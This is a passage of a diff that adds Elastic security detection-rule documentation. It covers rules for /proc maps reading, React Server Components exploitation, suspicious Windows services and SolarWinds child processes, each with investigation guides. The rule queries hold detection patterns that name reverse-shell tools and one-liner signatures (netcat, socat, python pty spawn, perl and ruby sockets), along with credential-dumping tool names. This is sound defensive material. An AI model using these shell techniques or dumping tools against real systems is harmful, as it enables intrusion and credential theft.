tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("cat", "grep", "tail", "less", "more", "egrep", "fgrep", "awk") and process.args like "/proc/*/maps" and +not ( + ?process.parent.args in ("/usr/bin/finalrd", "/sbin/chkrootkit", "./uac", "/usr/sbin/chkrootkit") or + ?process.parent.executable in ("/usr/sbin/chkrootkit", "/sbin/chkrootkit") or + process.parent.name == "uac" or + ?process.parent.executable in ("/opt/secl/linux-ir-scripts-v3/thieves.sh", "/opt/traps/rpm-installer/setup.sh") or + ?process.working_directory like ("/opt/traps/deb-installer", "/opt/Tanium/TaniumClient/*") or + ?process.parent.executable like ("/home/*/sunlight/thieves.sh") or + (?process.parent.executable == "/usr/lib/systemd/systemd" and ?process.parent.command_line == "/sbin/init") or + ?process.group_leader.executable in ("/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent", "/opt/traps/bin/cytool") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-react-server-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-react-server-child-process.asciidoc new file mode 100644 index 0000000000..a1f89a9b95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-react-server-child-process.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-36-suspicious-react-server-child-process]] +=== Suspicious React Server Child Process + +This rule detects suspicious child process activity from a React server application. This could be related to successful exploitation of CVE-2025-55182 or CVE-2025-66478. These vulnerabilities allow attackers to execute remote code due to insecure deserialization of React Server Components (RSC) Flight payloads, leading to unauthenticated RCE on servers running React 19.x or Next.js 14.3.0-canary+, 15.x, and 16.x with the App Router enabled + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Vuln: CVE-2025-55182 +* Vuln: CVE-2025-66478 +* Threat: React2Shell + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious React Server Child Process* + + +This rule flags suspicious shell or system utility processes spawned by a React or Next.js server application—clear evidence of CVE-2025-55182 or CVE-2025-66478 exploitation enabling arbitrary code execution. An attacker sends a specially crafted RSC Flight protocol payload to a vulnerable Next.js or React Server Components endpoint, causing the server to deserialize untrusted data and execute attacker-controlled JavaScript, which then spawns shell commands or system utilities to establish initial access and persistence. + + +*Possible investigation steps* + + +- Extract the parent Node.js process command line and working directory to identify the React or Next.js application, then check package.json or package-lock.json for React version (19.0-19.2) and Next.js version (14.3.0-canary, 15.x, 16.x) to confirm vulnerability. +- Review web server access logs (Nginx, Apache, ALB) for suspicious POST requests to RSC endpoints (/_next/data/, /.next/, /api/) in the minutes before the shell spawn, focusing on requests with unusual Content-Type headers (text/x-component, application/rsc) or large payload sizes. +- Analyze the spawned child process command line, arguments, working directory, and any downloaded files or scripts to identify the payload type (reverse shell, data exfiltration, credential theft, persistence mechanism) and compute file hashes for threat intelligence correlation. +- Pivot on the source IP address from web logs across other hosts and applications to identify additional compromised servers, and check for lateral movement attempts or scanning activity from the compromised host to internal networks. +- Examine the host for post-exploitation artifacts including new cron jobs, modified .bashrc/.profile files, SSH authorized_keys additions, new user accounts, unusual network connections to external IPs, files in /tmp or /var/tmp directories, and container escape attempts (nsenter, docker socket access). + + +*False positive analysis* + + +- Legitimate build or deployment scripts triggered by CI/CD pipelines may cause Next.js build workers (jest-worker/processChild.js) to spawn shell commands; filter these by excluding processes with --node-ipc flags or running in /builds/, /workspace/, or other CI directories. +- Development servers (next dev, expo start, react-scripts start) running on developer workstations may spawn legitimate shells for tooling; consider excluding NODE_ENV=development or processes running from user home directories if appropriate for your environment. +- Server-side rendering (SSR) frameworks may legitimately invoke system utilities for image processing, PDF generation, or other server-side tasks; maintain an allowlist of expected child processes and their arguments for known applications. + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent lateral movement, terminate the Node.js parent process and all child processes spawned from the React/Next.js server, and block the source IP address at the firewall and WAF level. +- Remove any persistence mechanisms installed by the attacker including cron jobs (check crontab -l for all users), modified shell initialization files (~/.bashrc, ~/.profile, /etc/profile.d/), SSH keys in ~/.ssh/authorized_keys, and systemd timers or service units. +- Rotate all credentials and secrets accessible to the compromised application including database passwords, API keys, cloud service credentials (AWS/Azure/GCP), and session tokens, assuming they may have been exfiltrated. +- Collect forensic artifacts including memory dumps of the Node.js process (if still running), packet captures of the malicious HTTP request, web server access and error logs, application logs from the React/Next.js server, and copies of any files created in /tmp, /var/tmp, or the application directory. +- Escalate to incident command if the attacker achieved container escape (nsenter usage detected), accessed sensitive data or credentials, established C2 communication to external infrastructure, or if multiple hosts show similar exploitation patterns from the same source. +- Patch immediately by upgrading React to version 19.0.1+, 19.1.2+, or 19.2.1+, and Next.js to versions 14.3.0-canary.88+, 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, or 16.0.7+ depending on your major version, and deploy WAF rules to block malformed RSC payloads at the application edge. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "executed", "start", "process_started") and ( + process.name in ( + "sh", "bash", "zsh", "dash", "curl", "wget", "id", "whoami", "uname", "cmd.exe", "cat", "powershell.exe", "java", "rundll32.exe", "wget.exe", "certutil.exe", + "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "socat", "busybox", "mkfifo", "nohup", "setsid", "xterm" + ) or + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name == "node" and process.args == "-e" and process.args : "*spawn*sh*" and process.args : "*connect*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("rvim", "vim", "vimdiff", "rview", "view") and process.args == "-c" and process.args : "*socket*") +) +and ( + ?process.working_directory : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*bin/next*", "*.pnpm/next*", "*next/dist/server*", "*react-scripts*") or + ( + process.parent.name in ("node", "bun", "node.exe", "bun.exe") and + ( + ?process.parent.command_line : ( + "*react-dom*", "*.next*", "*node_modules/next*", "*react-server*", "*next-server*", "* server.js*", "*start-server.js*", "*bin/next*", + "*--experimental-https*", "*app/server*", "*.pnpm/next*", "*next start*", "*next dev*", "*react-scripts start*", "*next/dist/server*" + ) and ?process.parent.command_line != null + ) + ) +) and not ( + (?process.parent.executable in ("./runc", "/opt/google/chrome/chrome") and ?process.parent.executable != null) or + (?process.command_line like "/bin/sh -c git config*" and ?process.command_line != null) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-service-was-installed-in-the-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-service-was-installed-in-the-system.asciidoc new file mode 100644 index 0000000000..9257277b1b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-service-was-installed-in-the-system.asciidoc @@ -0,0 +1,221 @@ +[[prebuilt-rule-8-19-36-suspicious-service-was-installed-in-the-system]] +=== Suspicious Service was Installed in the System + +Identifies the creation of a new Windows service with a suspicious service name or command value. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-system.system* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Windows System Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 121 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Service was Installed in the System* + + + +*Possible investigation steps* + + +- What exact service creation event and matched artifact caused the alert? + Focus: `event.code`, `host.name`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ImagePath`. + Implication: Event `4697` uses `winlog.event_data.ServiceFileName`; event `7045` uses `winlog.event_data.ImagePath`. Treat malware or credential-dump service names such as `mssecsvc2.0`, `WCESERVICE*`, `WCE SERVICE*`, `pwdump*`, `gsecdump*`, or `cachedump*`, or a command containing PAExec, Winexe, DumpSvc, PowerShell, command shell, admin share, user-writable, or service-control utility traits, as suspicious unless the exact host, service name, command, and alert time map to a validated change record or verified owner confirmation. + Review matching service events with !{investigate{"description":"","label":"Matched service on host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + +- Do the installing account and service account explain this specific service creation? + Focus: `event.code`, `user.name`, `user.domain`, `winlog.logon.id`, `winlog.event_data.ServiceAccount` for event `4697`, and `winlog.event_data.AccountName` for event `7045`. + Implication: Event `4697` can identify the installing account and logon session and records the service account in `winlog.event_data.ServiceAccount`. Event `7045` records the service account in `winlog.event_data.AccountName`, but identifying the installer may require recovery of a matching Security event or surrounding service-control and process telemetry. Escalate if the recovered installer identity cannot be tied to the exact service install, if the service runs as a privileged or unexpected account, or if the account context conflicts with the claimed workflow. A benign branch requires recovered evidence that the same account created this same service during a validated maintenance or deployment window on this host. Missing Security or corroborating telemetry remains unresolved. + Search recent service install events on the matched host with !{investigate{"description":"","label":"Recent service installs on host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +- Does the live host still show the same service configuration and referenced artifact? + Focus: On the matched `host.id` or `host.name`, retrieve the current service by exact `winlog.event_data.ServiceName` with `sc.exe qc`, `sc.exe queryex`, or `Get-CimInstance Win32_Service -Filter Name=''`; record the service path, account, status, and start context, then inspect the referenced executable or script on disk when it is still present. + Implication: Live service configuration can confirm current path, account, status, and start context, but configuration alone does not prove the service command executed. Escalate when the current service or referenced artifact supports persistence, or when process telemetry, service-control logs, or other execution events show the service command ran. If live-host retrieval or artifact inspection is unavailable, the unavailable live-host evidence remains unresolved. A benign branch requires the live or recovered service state to match the exact expected service lifecycle, such as a short-lived remote support service removed after the named deployment task, without extra commands or altered paths. + +- Are there corroborating process, file, registry, or authentication events on the same host around the service installation? + Focus: `host.id`, `winlog.event_data.ServiceName`, `winlog.event_data.ServiceAccount` for event `4697`, `winlog.event_data.AccountName` for event `7045`, `user.name`, and `winlog.record_id`. + Implication: Process, file, registry, and service-control telemetry are supporting sources and may be absent from the final alert; recover them manually by host and time before drawing conclusions. Escalate if recovered events show the service launching shell, LOLBin, credential-dumping, or user-writable path payloads. If those supporting sources are missing, keep the case unresolved instead of treating absence as benign. + +- If local evidence is suspicious or unresolved, has the same service name appeared on other hosts? + Focus: `winlog.event_data.ServiceName`, `host.name`, `winlog.event_data.ServiceFileName`, `winlog.event_data.ImagePath`, `user.name`. + Implication: Use this only after the local service and artifact checks above. Reuse across hosts supports a lateral movement, remote administration, or shared deployment hypothesis; scope containment and account review to matching hosts when the service name or installer context is suspicious. A benign branch requires recovered events on the additional hosts to share the same deployment window, installing account when available, and exact service command for one validated change record. Absence of related alerts does not prove benign. + Pivot on the service name across hosts with !{investigate{"description":"","label":"Same service name across hosts","providers":[[{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4697","valueType":"string"}],[{"excluded":false,"field":"winlog.event_data.ServiceName","queryType":"phrase","value":"{{winlog.event_data.ServiceName}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"7045","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + +Disposition: Escalate suspicious service commands, mismatched installer or service-account context, persistent live service state, or repeated hosts; close only when alert-local fields plus recovered service and host evidence prove the exact expected workflow; preserve and escalate mixed or incomplete cases for more context before final disposition. + + +*False positive analysis* + + +- Remote administration and deployment tools such as PAExec, RemCom, and Winexe can create temporary services that match the suspicious service-name or command patterns. Close only when the recovered `winlog.event_data.ServiceName`, command field, installing account, target host, and timing all match one validated maintenance or deployment action. +- PowerShell, `pwsh.exe`, `cmd.exe`, `rundll32`, `regsvr32`, `msbuild`, `bitsadmin`, `certutil`, or `vssadmin` in a service command should remain suspicious until the referenced script or command content, service account, and owner confirmation explain the exact alert artifact on this host. +- Scope exceptions to durable alert fields. For event `4697`, use exact `winlog.event_data.ServiceName` and `winlog.event_data.ServiceFileName`; for event `7045`, use exact `winlog.event_data.ServiceName` and `winlog.event_data.ImagePath`. Add `host.id` or `host.name`, plus `user.name` and `user.domain`, when those fields repeat in the validated benign pattern. + + +*Response and remediation* + + +- Collect and preserve case evidence, export the alert and matched service event, and preserve volatile process, memory, executable, script, service configuration, and file-system artifacts that could be lost before isolation, process termination, service removal, cleanup, or other disruptive action. +- Review recovered evidence and scope affected hosts/accounts by service name, service command, installing account, target host, and related authentication before containment decisions. +- If malicious service execution is confirmed, use the endpoint response integration as the preferred path to isolate affected hosts, and disable exposed accounts as reversible containment while retaining evidence. When direct response is unavailable, document handoff to the responsible incident-response or endpoint-operations owner for host isolation and to the identity owner for account containment. +- After scoping and preservation, stop malicious service processes if running, remove the malicious service or persistence entry, quarantine associated executable or script files, and run an antimalware scan. +- Reset or rotate credentials for accounts that installed, ran, or were accessed by the malicious service after credential exposure review. +- Record confirmed service names, commands, recovered file hashes, installing accounts, affected hosts, and telemetry or detection gaps for responsible detection and logging owners after scoping and containment. + + +==== Setup + + + +*Setup* + + +Audit Security System Extension must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-system-extension + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + ( + event.code : "4697" and + ( + ( + ( + winlog.event_data.ServiceFileName : ( + "*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", + "*echo*", "*RemComSvc*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*", + "*\\Users\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*", + "*regsvr32*", "*msbuild*", "*winexesvc.exe*", "*DumpSvc.exe*", "*pwsh.exe*", "*PAExec*" + ) or + winlog.event_data.ServiceFileName regex~ """%systemroot%\\[a-z0-9]+\.exe""" + ) and + not winlog.event_data.ServiceFileName: ( + "%SystemRoot%\\PSEXESVC.exe", "C:\\WINDOWS\\PSEXESVC.exe", "%SystemRoot%\\\\RemComSvc.exe", + "%SystemRoot%\\pbpsdeploy.exe", "%SystemRoot%\\system32\\RemComSvc.exe", + "\"C:\\Program Files\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files\\Common Files\\ZoomVDIPluginManagement\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\EFR\\host\\cpsechost.exe\" service", + "C:\\Users\\*\\AppData\\Local\\Temp\\VeeamVssSupport\\VeeamGuestHelper.exe*", + "C:\\WINDOWS\\TEMP\\\\TdkLimit64.sys", "C:\\WINDOWS\\TEMP\\\\oraremservicev2\\RemoteExecService.exe" + ) + ) or + winlog.event_data.ServiceName : ( + "mssecsvc2.0", "WCESERVICE*", "WCE SERVICE*", "pwdump*", "gsecdump*", "cachedump*" + ) + ) + ) or + ( + event.code : "7045" and + ( + ( + winlog.event_data.ImagePath : ( + "*COMSPEC*", "*\\127.0.0.1*", "*Admin$*", "*powershell*", "*rundll32*", "*cmd.exe*", + "*echo*", "*.bat*", "*.cmd*", "*certutil*", "*vssadmin*", "*certmgr*", "*bitsadmin*", + "*\\Users\\*", "*\\Windows\\Tasks\\*", "*\\PerfLogs\\*", "*\\Windows\\Debug\\*", + "*regsvr32*", "*msbuild*", "*winexesvc.exe*", "*DumpSvc.exe*", "*pwsh.exe*", "*PAExec*" + ) and + not winlog.event_data.ImagePath : ( + "%SystemRoot%\\PSEXESVC.exe", "C:\\WINDOWS\\PSEXESVC.exe", "%SystemRoot%\\\\RemComSvc.exe", + "%SystemRoot%\\pbpsdeploy.exe", "%SystemRoot%\\system32\\RemComSvc.exe", + "\"C:\\Program Files\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files\\Common Files\\ZoomVDIPluginManagement\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\Common Files\\Zoom\\Support\\CptService.exe*", + "\"C:\\Program Files (x86)\\CheckPoint\\Endpoint Security\\EFR\\host\\cpsechost.exe\" service", + "C:\\Users\\*\\AppData\\Local\\Temp\\VeeamVssSupport\\VeeamGuestHelper.exe*", + "C:\\WINDOWS\\TEMP\\\\TdkLimit64.sys", "C:\\WINDOWS\\TEMP\\\\oraremservicev2\\RemoteExecService.exe" + ) + ) or + winlog.event_data.ServiceName : ( + "mssecsvc2.0", "WCESERVICE*", "WCE SERVICE*", "pwdump*", "gsecdump*", "cachedump*" + ) + ) + ) +) and +not ( + winlog.event_data.ServiceName : "cpuz???" and + ( + winlog.event_data.ServiceFileName : ("C:\\WINDOWS\\temp\\cpuz???\\cpuz???_x64.sys", "C:\\Windows\\temp\\cpuz???\\cpuz???_x32.sys") or + winlog.event_data.ImagePath : ("C:\\Windows\\temp\\cpuz???\\cpuz???_x64.sys", "C:\\Windows\\temp\\cpuz???\\cpuz???_x32.sys") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-child-process.asciidoc new file mode 100644 index 0000000000..5c7e6c9c47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-solarwinds-child-process.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-suspicious-solarwinds-child-process]] +=== Suspicious SolarWinds Child Process + +A suspicious SolarWinds child process was detected, which may indicate an attempt to execute malicious programs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor +* https://github.com/mandiant/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SUNBURST%20SUSPICIOUS%20CHILD%20PROCESSES%20(METHODOLOGY).ioc + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious SolarWinds Child Process* + + +SolarWinds is a widely used IT management software that operates critical network and system monitoring functions. Adversaries may exploit its trusted processes to execute unauthorized programs, leveraging its elevated privileges to bypass security controls. The detection rule identifies unusual child processes spawned by SolarWinds' core services, excluding known legitimate operations, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the details of the triggered alert to identify the specific child process name and executable path that caused the alert. +- Check the parent process details, specifically SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe, to confirm its legitimacy and ensure it is running from the expected directory. +- Investigate the child process's code signature to determine if it is trusted or if there are any anomalies in the signature that could indicate tampering. +- Analyze the historical activity of the suspicious child process on the host to identify any patterns or previous instances of execution that could provide context. +- Correlate the suspicious process activity with other security events or logs from the same host to identify any related malicious behavior or indicators of compromise. +- Consult threat intelligence sources to determine if the suspicious process or executable path is associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate SolarWinds updates or patches may trigger the rule. Ensure that the process code signature is verified as trusted and matches known update signatures. +- Custom scripts or tools integrated with SolarWinds for automation purposes might be flagged. Review these processes and add them to the exclusion list if they are verified as safe and necessary for operations. +- Third-party plugins or extensions that interact with SolarWinds could be misidentified. Validate these plugins and consider excluding them if they are from a trusted source and essential for functionality. +- Scheduled tasks or maintenance activities that involve SolarWinds processes may appear suspicious. Confirm these tasks are part of regular operations and exclude them if they are consistent with expected behavior. +- Temporary diagnostic or troubleshooting tools used by IT staff might be detected. Ensure these tools are authorized and add them to the exclusion list if they are frequently used and pose no threat. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious child processes identified that are not part of the known legitimate operations list, ensuring that no malicious programs continue to execute. +- Conduct a thorough review of the affected system's recent activity logs to identify any additional indicators of compromise or unauthorized changes. +- Restore the affected system from a known good backup to ensure that any potential malware or unauthorized changes are removed. +- Update all SolarWinds software and related components to the latest versions to patch any known vulnerabilities that could be exploited. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of suspicious activity, focusing on unusual child processes spawned by SolarWinds services. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts need to be addressed. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name: ("SolarWinds.BusinessLayerHost.exe", "SolarWinds.BusinessLayerHostx64.exe") and + not ( + process.name : ( + "APMServiceControl*.exe", + "ExportToPDFCmd*.Exe", + "SolarWinds.Credentials.Orion.WebApi*.exe", + "SolarWinds.Orion.Topology.Calculator*.exe", + "Database-Maint.exe", + "SolarWinds.Orion.ApiPoller.Service.exe", + "WerFault.exe", + "WerMgr.exe", + "SolarWinds.BusinessLayerHost.exe", + "SolarWinds.BusinessLayerHostx64.exe", + "SolarWinds.Topology.Calculator.exe", + "SolarWinds.Topology.Calculatorx64.exe", + "SolarWinds.APM.RealTimeProcessPoller.exe") and + process.code_signature.trusted == true + ) and + not process.executable : ("?:\\Windows\\SysWOW64\\ARP.EXE", "?:\\Windows\\SysWOW64\\lodctr.exe", "?:\\Windows\\SysWOW64\\unlodctr.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: 